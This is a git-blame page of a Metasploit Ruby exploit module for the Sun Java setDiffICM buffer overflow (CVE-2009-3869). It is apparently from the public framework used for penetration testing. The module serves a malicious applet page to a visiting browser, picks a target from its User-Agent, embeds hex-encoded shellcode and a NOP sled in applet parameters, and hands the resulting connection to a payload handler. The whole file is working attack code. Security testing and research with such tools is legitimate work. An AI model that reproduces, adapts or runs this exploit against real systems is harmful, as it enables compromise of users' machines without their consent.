Files

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

218 lines
5.8 KiB
Ruby
Raw Permalink Normal View History

2009-12-17 04:52:40 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-17 04:52:40 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
2009-12-17 04:52:40 +00:00
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
2009-12-17 04:52:40 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Sun Java JRE AWT setDiffICM Buffer Overflow',
'Description' => %q{
This module exploits a flaw in the setDiffICM function in the Sun JVM.
The payload is serialized and passed to the applet via PARAM tags. It must be
a native payload.
The effected Java versions are JDK and JRE 6 Update 16 and earlier,
JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
earlier, and SDK and JRE 1.3.1_26 and earlier.
NOTE: Although all of the above versions are reportedly vulnerable, only
1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.
},
'License' => MSF_LICENSE,
'Author' => [
2009-12-17 04:52:40 +00:00
'jduck'
],
2025-06-20 13:20:44 +01:00
'References' => [
2009-12-17 04:52:40 +00:00
[ 'CVE', '2009-3869' ],
[ 'OSVDB', '59710' ],
[ 'BID', '36881' ],
2015-10-27 12:41:32 -05:00
[ 'ZDI', '09-078' ]
2009-12-17 04:52:40 +00:00
],
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 1024,
2009-12-17 04:52:40 +00:00
'BadChars' => '',
2025-12-17 17:11:13 -05:00
'DisableNops' => true
2009-12-17 04:52:40 +00:00
},
2025-06-20 13:20:44 +01:00
'Targets' => [
2009-12-17 04:52:40 +00:00
=begin
No automatic targetting for now ...
[ 'J2SE 1.6_16 Automatic',
{
'Platform' => %w{ linux osx win },
2009-12-17 04:52:40 +00:00
'Arch' => [ARCH_X86, ARCH_PPC]
}
],
=end
2025-06-20 13:20:44 +01:00
[
'J2SE 1.6_16 on Windows x86',
2009-12-17 04:52:40 +00:00
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
2025-06-20 13:20:44 +01:00
[
'J2SE 1.6_16 on Mac OS X PPC',
2009-12-17 04:52:40 +00:00
{
'Platform' => 'osx',
2025-12-17 17:11:13 -05:00
'Arch' => ARCH_PPC
2009-12-17 04:52:40 +00:00
}
],
2025-06-20 13:20:44 +01:00
[
'J2SE 1.6_16 on Mac OS X x86',
2009-12-17 04:52:40 +00:00
{
'Platform' => 'osx',
2025-12-17 17:11:13 -05:00
'Arch' => ARCH_X86
2009-12-17 04:52:40 +00:00
}
],
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2009-11-04',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2009-12-17 04:52:40 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-17 04:52:40 +00:00
def on_request_uri(cli, req)
# Create a cached mapping between IP and detected target
@targetcache ||= {}
@targetcache[cli.peerhost] ||= {}
@targetcache[cli.peerhost][:update] = Time.now.to_i
2013-08-30 16:28:54 -05:00
if (target.name =~ /Automatic/)
2009-12-17 04:52:40 +00:00
case req.headers['User-Agent']
when /Windows/i
2025-12-17 17:11:13 -05:00
print_status('Choosing a Windows target')
@targetcache[cli.peerhost][:target] = targets[1]
2009-12-17 04:52:40 +00:00
when /PPC Mac OS X/i
2025-12-17 17:11:13 -05:00
print_status('Choosing a Mac OS X PPC target')
@targetcache[cli.peerhost][:target] = targets[2]
2009-12-17 04:52:40 +00:00
when /Intel Mac OS X/i
2025-12-17 17:11:13 -05:00
print_status('Choosing a Mac OS X x86 target')
@targetcache[cli.peerhost][:target] = targets[3]
2009-12-17 04:52:40 +00:00
else
print_status("Unknown target for: #{req.headers['User-Agent']}")
end
end
2013-08-30 16:28:54 -05:00
# Clean the cache
2009-12-17 04:52:40 +00:00
rmq = []
@targetcache.each_key do |addr|
2025-06-20 13:20:44 +01:00
if (Time.now.to_i > @targetcache[addr][:update] + 60)
2009-12-17 04:52:40 +00:00
rmq.push addr
end
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
rmq.each { |addr| @targetcache.delete(addr) }
2013-08-30 16:28:54 -05:00
2009-12-17 04:52:40 +00:00
# Request processing
2025-12-17 17:11:13 -05:00
if (!req.uri.match(/\.jar$/i))
2013-08-30 16:28:54 -05:00
2009-12-17 04:52:40 +00:00
# Redirect to the base directory so the applet code loads...
2025-12-17 17:11:13 -05:00
if (!req.uri.match(%r{/$}))
print_status('Sending redirect so path ends with / ...')
send_redirect(cli, get_resource + '/', '')
2009-12-17 04:52:40 +00:00
return
end
2013-08-30 16:28:54 -05:00
2009-12-17 04:52:40 +00:00
# Display the applet loading HTML
2025-12-17 17:11:13 -05:00
print_status('Sending HTML')
2009-12-17 04:52:40 +00:00
send_response_html(cli, generate_html(payload.encoded),
2025-06-20 13:20:44 +01:00
{
'Content-Type' => 'text/html',
'Pragma' => 'no-cache'
})
2009-12-17 04:52:40 +00:00
return
end
2013-08-30 16:28:54 -05:00
2009-12-17 04:52:40 +00:00
# Send the actual applet over
2025-12-17 17:11:13 -05:00
print_status('Sending applet')
send_response(cli, generate_applet(cli, req),
2025-06-20 13:20:44 +01:00
{
'Content-Type' => 'application/octet-stream',
'Pragma' => 'no-cache'
})
2013-08-30 16:28:54 -05:00
2009-12-17 04:52:40 +00:00
# Handle the payload
handler(cli)
end
2013-08-30 16:28:54 -05:00
2009-12-17 04:52:40 +00:00
def generate_html(pl)
2025-06-20 13:20:44 +01:00
html = <<~EOF
<html>
<head>
<!-- <meta http-equiv=refresh content=10 /> -->
</head>
<body>
<applet width='100%' height='100%' code='AppletX' archive='JARNAME'>
<param name='sc' value='SCODE' />
<param name='np' value='NOPS' />
</applet>
</body>
</html>
EOF
# finalize html
2025-12-17 17:11:13 -05:00
jar_name = rand_text_alphanumeric(32) + '.jar'
html.gsub!(/JARNAME/, jar_name)
2013-08-30 16:28:54 -05:00
# put payload into html
2009-12-17 04:52:40 +00:00
debug_payload = false
2025-12-17 17:11:13 -05:00
pload = ''
2009-12-17 04:52:40 +00:00
pload << "\xcc" if debug_payload
pload << pl
if ((pload.length % 4) > 0)
pload << rand_text((4 - (pload.length % 4)))
end
if debug_payload
print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))
end
html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))
2013-08-30 16:28:54 -05:00
# put nops into html
2009-12-17 04:52:40 +00:00
nops = "\x90\x90\x90\x90"
html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))
2025-06-20 13:20:44 +01:00
# print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))
2013-08-30 16:28:54 -05:00
2009-12-17 04:52:40 +00:00
return html
end
2013-08-30 16:28:54 -05:00
def exploit
2025-12-17 17:11:13 -05:00
path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2009-3869.jar')
fd = File.open(path, 'rb')
@jar_data = fd.read(fd.stat.size)
fd.close
2013-08-30 16:28:54 -05:00
super
end
2013-08-30 16:28:54 -05:00
2025-12-17 17:11:13 -05:00
def generate_applet(cli, _req)
if (target.name =~ /Automatic/)
2009-12-17 04:52:40 +00:00
if (@targetcache[cli.peerhost][:target])
2025-12-17 17:11:13 -05:00
@targetcache[cli.peerhost][:target]
2009-12-17 04:52:40 +00:00
else
return ''
end
else
2025-12-17 17:11:13 -05:00
target
2009-12-17 04:52:40 +00:00
end
2013-08-30 16:28:54 -05:00
return @jar_data
end
2009-12-17 04:52:40 +00:00
end